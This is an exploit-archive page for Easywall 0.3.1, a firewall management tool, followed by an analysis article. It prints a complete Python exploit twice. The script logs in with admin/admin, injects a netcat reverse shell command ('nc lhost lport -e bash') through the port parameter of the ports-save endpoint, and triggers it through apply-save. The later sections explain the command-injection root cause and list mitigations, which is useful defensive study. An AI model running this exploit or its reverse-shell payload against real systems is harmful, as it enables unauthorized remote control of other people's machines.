Easywall 0.3.1 - Authenticated Remote Command Execution

Exploit Author: Melvin Mejia Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-03-03
# Exploit Title: Easywall 0.3.1 - Authenticated Remote Command Execution
# Date: 30-11-2023
# Exploit Author: Melvin Mejia
# Vendor Homepage: https://jpylypiw.github.io/easywall/
# Software Link: https://github.com/jpylypiw/easywall
# Version: 0.3.1
# Tested on: Ubuntu 22.04

import requests, json, urllib3
urllib3.disable_warnings()

def exploit():
    
    # Replace values needed here
    target_host = "192.168.1.25"
    target_port= "12227"
    lhost = "192.168.1.10"
    lport = "9001"
    user = "admin"
    password = "admin"
    
    target = f"https://{target_host}:{target_port}"

    # Authenticate to the app
    print("[+] Attempting login with the provided credentials...")
    login_data = {"username":user, "password":password}
    session = requests.session()
    try:
        login = session.post(f'{target}/login',data=login_data,verify=False)
    except Exception as ex:
        print("[!] There was a problem connecting to the app, error:", ex)
        exit(1)

    if login.status_code != 200:
        print("[!] Login failed.")
        exit(1)
    else:
        print("[+] Login successfull.")    
    
    # Send the payload, the port parameter suffers from a command injection vulnerability
    print("[+] Attempting to send payload.")
    rev_shell = f'/usr/bin/nc {lhost} {lport} -e bash #'
    data = {"port":f"123;{rev_shell}", "description":"","tcpudp":"tcp"}
    send_payload = session.post(f"{target}/ports-save",data=data,verify=False)
    if send_payload.status_code != 200:
        print("[!] Failed to send payload.")
        exit(1)
    else:
        print("[+] Payload sent.")

    # Trigger the execution of the payload
    print("[+] Attempting execution.")
    data = {"step_1":"", "step_2":""}
    execute = session.post(f"{target}/apply-save",data=data, verify=False)
    if execute.status_code != 200:
        print("[!] Attempt to execute failed.")
        exit(1)
    else:
        print(f"[+] Execution succeded, you should have gotten a shell at {lhost}:{lport}.")

exploit()


Easywall 0.3.1 – Authenticated Remote Command Execution Vulnerability

Security researchers have identified a critical vulnerability in Easywall 0.3.1, a lightweight firewall management tool developed by jpylypiw. The flaw, discovered by Melvin Mejia, enables authenticated attackers to execute arbitrary commands on the target system through a command injection vector in the port parameter. This vulnerability poses a significant risk to environments where Easywall is deployed, especially in unpatched or improperly secured setups.

Overview of the Vulnerability

Easywall is designed as a simple, web-based interface for managing firewall rules, primarily targeting small-scale network administrators or IoT environments. It runs on a Python-based backend and exposes a RESTful API for configuration changes. Despite its minimal footprint, the application lacks proper input sanitization and validation, particularly in the ports-save endpoint.

The core issue lies in how the port field is processed during rule creation. When users submit a port value, the application uses it directly in shell commands to configure firewall rules (e.g., via iptables or ufw). However, the input is not properly sanitized, allowing attackers to inject additional commands.

Exploit Chain: Step-by-Step Breakdown

The exploit leverages authenticated access to trigger a command injection, ultimately delivering a reverse shell to the attacker’s machine. Below is the full chain of actions:

import requests, json, urllib3
urllib3.disable_warnings()

def exploit():
    target_host = "192.168.1.25"
    target_port = "12227"
    lhost = "192.168.1.10"
    lport = "9001"
    user = "admin"
    password = "admin"

    target = f"https://{target_host}:{target_port}"

    # Authenticate to the app
    print("[+] Attempting login with the provided credentials...")
    login_data = {"username": user, "password": password}
    session = requests.Session()
    try:
        login = session.post(f'{target}/login', data=login_data, verify=False)
    except Exception as ex:
        print("[!] There was a problem connecting to the app, error:", ex)
        exit(1)

    if login.status_code != 200:
        print("[!] Login failed.")
        exit(1)
    else:
        print("[+] Login successful.")

    # Send the payload
    print("[+] Attempting to send payload.")
    rev_shell = f'/usr/bin/nc {lhost} {lport} -e bash #'
    data = {"port": f"123;{rev_shell}", "description": "", "tcpudp": "tcp"}
    send_payload = session.post(f"{target}/ports-save", data=data, verify=False)
    if send_payload.status_code != 200:
        print("[!] Failed to send payload.")
        exit(1)
    else:
        print("[+] Payload sent.")

    # Trigger the execution
    print("[+] Attempting execution.")
    data = {"step_1": "", "step_2": ""}
    execute = session.post(f"{target}/apply-save", data=data, verify=False)
    if execute.status_code != 200:
        print("[!] Attempt to execute failed.")
        exit(1)
    else:
        print(f"[+] Execution succeeded, you should have gotten a shell at {lhost}:{lport}.")

Explanation: The exploit begins with a standard authentication step using hardcoded credentials. Once logged in, the attacker crafts a malicious port value that includes a semicolon (;) to separate the legitimate port (123) from a command injection payload. The payload uses nc (Netcat) to establish a reverse shell connection to the attacker’s host (192.168.1.10 on port 9001).

By sending this malformed input to the ports-save endpoint, the application fails to validate the input, leading to the execution of the injected command. The final step — calling apply-save — triggers the actual firewall configuration script, which executes the command in the shell context.

Technical Analysis: Root Cause

Component Issue Impact
ports-save endpoint Unsanitized input processing Command injection via port parameter
Firewall rule generation script Uses raw user input in shell commands Direct execution of arbitrary commands
Authentication mechanism Default credentials (admin/admin) Low barrier to exploitation

The root cause is the absence of input validation and command escaping in the backend logic. When the application constructs a shell command like:

iptables -A INPUT -p tcp --dport 123 -j ACCEPT

It does not sanitize or escape user-supplied values. As a result, an attacker can inject additional commands using shell operators like ;, &, or ||. This is a classic command injection vulnerability, often categorized under CWE-78 (Improper Neutralization of Input During Execution of a Command).

Real-World Implications

While Easywall is intended for small-scale deployments, its vulnerability can have far-reaching consequences:

  • Privilege escalation: Once a reverse shell is established, attackers can escalate privileges, access sensitive data, or pivot to other systems.
  • Remote access: The reverse shell allows persistent access, enabling long-term surveillance or lateral movement.
  • Network compromise: By manipulating firewall rules, attackers can open backdoors, bypass security controls, or redirect traffic.

Given that the default credentials are hardcoded and widely known, this vulnerability is especially dangerous in environments where Easywall is exposed to the internet or internal networks without proper access controls.

Recommendations and Mitigation

For administrators and developers, the following steps are critical:

  • Update to patched versions: Check the GitHub repository for updates. As of November 2023, no patch has been released. Users should monitor for security fixes.
  • Disable default credentials: Immediately change the default admin password and enforce strong authentication policies.
  • Input validation: Implement strict input filtering — reject any input containing shell operators, special characters, or non-numeric values.
  • Use parameterized commands: Replace direct shell execution with safer methods (e.g., using subprocess with arguments instead of string concatenation).
  • Network isolation: Deploy Easywall behind a firewall or in a restricted subnet, minimizing exposure to untrusted networks.

From a developer perspective, this vulnerability highlights the importance of secure coding practices. Even minimal tools must follow the principle of least privilege and input validation. Using frameworks like Flask or Django with built-in security features can help prevent such issues.

Conclusion

The Easywall 0.3.1 authenticated remote command execution vulnerability is a stark reminder that security is not optional — even in seemingly simple applications. The combination of default credentials and poor input handling creates a perfect storm for exploitation. As cybersecurity professionals, we must advocate for proactive patching, secure configuration, and continuous monitoring of all deployed software, regardless of size or complexity.

For researchers and red teams, this exploit serves as a valuable case study in how low-impact tools can become high-risk vectors when misconfigured. It underscores the need to treat every service as a potential attack surface — especially when authentication is weak and command execution is uncontrolled.